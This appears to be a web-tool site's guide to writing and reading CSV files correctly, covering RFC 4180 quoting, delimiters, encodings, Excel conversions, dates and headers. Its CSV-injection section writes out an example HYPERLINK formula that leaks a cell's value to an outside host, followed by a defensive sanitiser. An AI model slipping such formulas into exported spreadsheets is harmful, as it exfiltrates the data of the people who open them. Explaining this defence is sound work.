CSV Files Done Right: Quoting, Delimiters, Encoding and Excel

CSV files break between tools because "CSV" is less a standard than a family of habits. The closest thing to a specification, RFC 4180, says fields are separated by commas, records end with CRLF, and any field containing a comma, a double quote or a line break must be wrapped in double quotes, with inner quotes doubled. Most real problems come from software that ignores part of that, from regional settings that swap the comma for a semicolon, from encodings, and from spreadsheet programs such as Excel that convert values as they open the file.

What are the CSV rules in RFC 4180?

RFC 4180 (2005) is informational: it documents the format "followed by most implementations" and registers the text/csv media type. Its rules:

• Each record is on its own line, ending with CRLF; the last record may or may not have a final line break.
• An optional header line may come first, in the same format as the records.
• Fields are separated by commas, and every line should have the same number of fields.
• Spaces are part of the field and must not be ignored.
• A field may be enclosed in double quotes. Fields that contain a comma, a double quote or a line break must be.
• A double quote inside a quoted field is written as two double quotes.

The RFC says nothing about data types, character encoding beyond an optional charset parameter, or alternative delimiters, which is where tools diverge.

How do you escape commas and quotes in a CSV field?

Wrap the field in double quotes and double any quote inside it. This file has a comma in a name and quotes in a comment:

id,name,comment
1,"Smith, Jane","She said ""hi"""

Python's csv module reads the second line as ['1', 'Smith, Jane', 'She said "hi"']. Backslash escaping such as \" is not part of RFC 4180; a reader following the RFC treats the backslash as an ordinary character and the quote after it as the end of the quoted section. Python reads "a\"b",c as ['a\\b"', 'c'], not a"b.

Two less obvious cases trip up hand-written parsers. A space between the delimiter and the opening quote means the field is not quoted at all: Python reads a, "b,c" as three fields, 'a', ' "b' and 'c"', unless you pass skipinitialspace=True. And a quote in the middle of an unquoted field, as in 5"2 ft, is kept as a literal character by Python, although strict parsers may reject it. Never build CSV by joining strings with commas; use a library writer, which quotes only what needs quoting:

import csv, sys
w = csv.writer(sys.stdout)
w.writerow(["1", "Smith, Jane", 'She said "hi"'])
# 1,"Smith, Jane","She said ""hi"""

Why does my CSV open in one column? Delimiters and locale

In many European locales the comma is the decimal separator, so 3,50 means three and a half. Spreadsheet software there uses the semicolon as the list separator, and Excel saves "CSV" files with semicolons. Microsoft's import and export documentation explains that the separator follows the system's list separator, and that setting the decimal separator to a comma makes Excel save with semicolons.

A reader that assumes the wrong delimiter does not fail; it produces wrong data. Read with the default comma, name;price / Widget;3,50 becomes ['Widget;3', '50']. With delimiter=";" it is correctly ['Widget', '3,50'], and the price is still a string that needs locale-aware conversion. Python's csv.Sniffer().sniff(sample).delimiter can guess the delimiter, and returns ; for this sample, but agreeing the format with whoever produces the file is more reliable. Tab-separated files sidestep the problem; the CSV to TSV converter switches between the two.

Can a CSV field contain a line break?

Yes, if the field is quoted. This is valid and contains two records after the header, not three:

id,comment
2,"Line one
Line two"

The consequence is that you cannot count records with wc -l or process a CSV file line by line with split("\n"), grep or head; any of these cuts a record in half. Use a real parser. In Python, open the file with newline="", as the documentation requires: the csv module handles line endings itself, and without it a CRLF inside a quoted field is silently turned into LF.

Does CSV need CRLF or LF line endings?

RFC 4180 specifies CRLF, and Python's csv.writer uses \r\n by default. In practice almost every reader accepts either, and files produced on Linux and macOS commonly use LF. Problems come from tools that split on \n and leave a stray \r on the last field of each row. Pick one ending per file; pass lineterminator="\n" to Python's writer if your consumers expect LF.

Why does Excel show garbled characters? UTF-8 and the BOM

A CSV file has no header that declares its encoding, so the reader has to guess. Microsoft's support article on opening CSV UTF-8 files in Excel states that a UTF-8 CSV opens normally if it was saved with a byte order mark (BOM); otherwise you need to import it through Data > Get Data > From Text/CSV and choose the encoding. Without a BOM, names such as Zoë can appear as mojibake.

The BOM has a cost for other readers. It is the three bytes EF BB BF at the start of the file, and a reader that does not expect it makes it part of the first header. In Python, reading a BOM file with encoding="utf-8" gives the header 'id' instead of 'id', so row["id"] raises KeyError. Use utf-8-sig, which strips a BOM when reading and writes one when writing:

import csv
with open("data.csv", newline="", encoding="utf-8-sig") as f:
    rows = list(csv.DictReader(f))   # [{'id': '1', 'name': 'Zoë'}]

A sensible rule: add a BOM only to files meant to be opened by people in Excel, and leave it off files exchanged between programs.

Why does Excel remove leading zeros and change long numbers?

CSV has no data types, so a spreadsheet guesses. Microsoft's article on keeping leading zeros and large numbers lists the automatic conversions Excel applies: it removes leading zeros from numeric text, truncates numbers to 15 digits of precision and shows them in scientific notation, treats digits around the letter E as scientific notation, and converts some strings of letters and numbers to dates. Excel's specifications give number precision as 15 digits.

That damages postcodes and ZIP codes (01234), phone numbers (07700900123), product codes, card-like IDs and 16-digit or longer identifiers, and saving the file writes the damaged values back. Quoting the value does not mark it as text: in CSV, quotes only mark where a field begins and ends. The fixes are on the reading side. Import through Data > From Text/CSV and set those columns to Text, or turn off the automatic conversions in recent versions of Excel. If you control the export and the file is only for people, consider providing XLSX instead.

How should dates be written in CSV?

Use ISO 8601 / RFC 3339 forms such as 2026-10-05 and 2026-10-05T14:30:00Z. 03/04/2026 is 3 April in the UK and 4 March in the US, and a program cannot tell which was meant. Include the time zone or offset for timestamps, or state in the column name that times are UTC. Unix timestamps are another unambiguous option; see Unix timestamps explained.

What is CSV injection and how do you prevent it?

CSV injection, also called formula injection, happens when a web application exports user-supplied text into a CSV file and someone opens it in a spreadsheet. A cell such as =HYPERLINK("http://example.com/?leak="&A2, "Click") is run as a formula, which can exfiltrate data from the sheet or lead a user to dismiss a security warning. OWASP lists the characters that can start a formula: =, +, -, @, tab, carriage return and line feed, and in some locales their full-width forms.

OWASP's suggested mitigations are to prefix such cells with a single quote and quote every field, or, for files meant for Excel, to prefix with a tab inside the quoted field, because Excel may drop the single quote when a file is saved and reopened. Both change the stored data, and a minus sign is also the start of a negative number, so apply escaping only to exported text columns, not to numeric ones. A minimal Python version:

FORMULA_START = ("=", "+", "-", "@", "\t", "\r", "\n")

def safe_cell(value):
    s = str(value)
    return "'" + s if s.startswith(FORMULA_START) else s

OWASP notes that no sanitisation is safe for every spreadsheet program and downstream consumer, so treat this as defence in depth.

Should a CSV file have a header row?

RFC 4180 makes the header optional, and the text/csv media type has a header=present or header=absent parameter to say which, though few systems send it. In practice, include one: it documents the columns and lets readers map fields by name (csv.DictReader in Python) instead of by position. Keep header names unique, trimmed and stable, because consumers key on them. Duplicate names are particularly harmful: readers that build one object per row, such as Python's csv.DictReader, keep only the last of the two columns.

How do the CodeBeautify.dev CSV tools handle these cases?

All three tools run in your browser. They share one parser design, and the behaviour below was checked by running each tool's page in Chromium.

In CSV to JSON, pick the delimiter before converting: a semicolon file read as comma-separated gives a single "name;price" key rather than an error. Duplicate header names leave only the last column. Browsers also normalise line breaks in a text box to LF, so a CRLF inside a quoted field arrives as \n in the JSON. JSON to CSV flattens nested objects into dotted columns such as address.city and tags.0, writes null as an empty field, and leaves a value such as =1+2 unchanged, so apply your own escaping if the output will be opened in a spreadsheet. If a file looks wrong in Excel, the CSV Formatter's Beautify view shows how a standards-following parser splits it.

Checklist

• Write CSV with a library, never by joining strings; quote fields containing the delimiter, quotes or line breaks, and double inner quotes.
• Agree the delimiter with the consumer; expect semicolons from European Excel installations.
• Parse with a real CSV parser; never split on newlines. In Python, open files with newline="".
• Use one line ending per file; CRLF is the RFC form, LF is widely accepted.
• Encode as UTF-8. Add a BOM only for files meant to be opened in Excel; read with utf-8-sig to tolerate one.
• Import IDs, codes and long numbers as text; do not round-trip them through Excel.
• Write dates as ISO 8601 with a time zone.
• Escape cells starting with =, +, -, @, tab, CR or LF in exports of untrusted text.
• Include a single header row with unique, stable names.

Frequently asked questions

Tools for this guide